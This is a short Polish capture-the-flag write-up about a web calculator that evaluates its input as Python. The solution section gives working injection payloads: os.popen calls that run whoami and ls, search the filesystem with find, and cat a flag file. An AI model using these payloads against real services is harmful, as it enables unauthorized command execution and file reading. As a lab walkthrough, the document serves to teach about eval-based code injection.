Opis
W zadaniu użytkownik ma do czynienia z pozornie prostym kalkulatorem. Po bliższej analizie okazuje się, że każde wpisane wyrażenie jest interpretowane jako kod w języku Python. To otwiera możliwość wykonywania dowolnych komend w systemie (tzw. code execution backdoor). Serwer weryfikuje jedynie nagłówki HTTP, sprawdzając ilość pamięci RAM – pozostałe dane nie mają znaczenia.
Rozwiązanie
- Analiza działania kalkulatora
Szybkie testy pokazują, że np. wpisanie1+2zwraca3, a wpisanie__import__("os").popen("whoami").read()zwraca nazwę użytkownika systemowego. Wnioskujemy, że backend wykonuje kod Pythona bez filtrów. - Dostęp do systemu plików
Można wykonywać dowolne komendy powłoki:import os os.popen("ls /").read() - Zlokalizowanie pliku z flagą
Przeszukujemy cały system w poszukiwaniu pliku z flagą:os.popen("find / -name DO_NOT_ENTER.txt 2>/dev/null").read() - Odczytanie zawartości pliku
Gdy mamy ścieżkę, np./app/DO_NOT_ENTER.txt, odczytujemy ją:os.popen("cat /app/DO_NOT_ENTER.txt").read()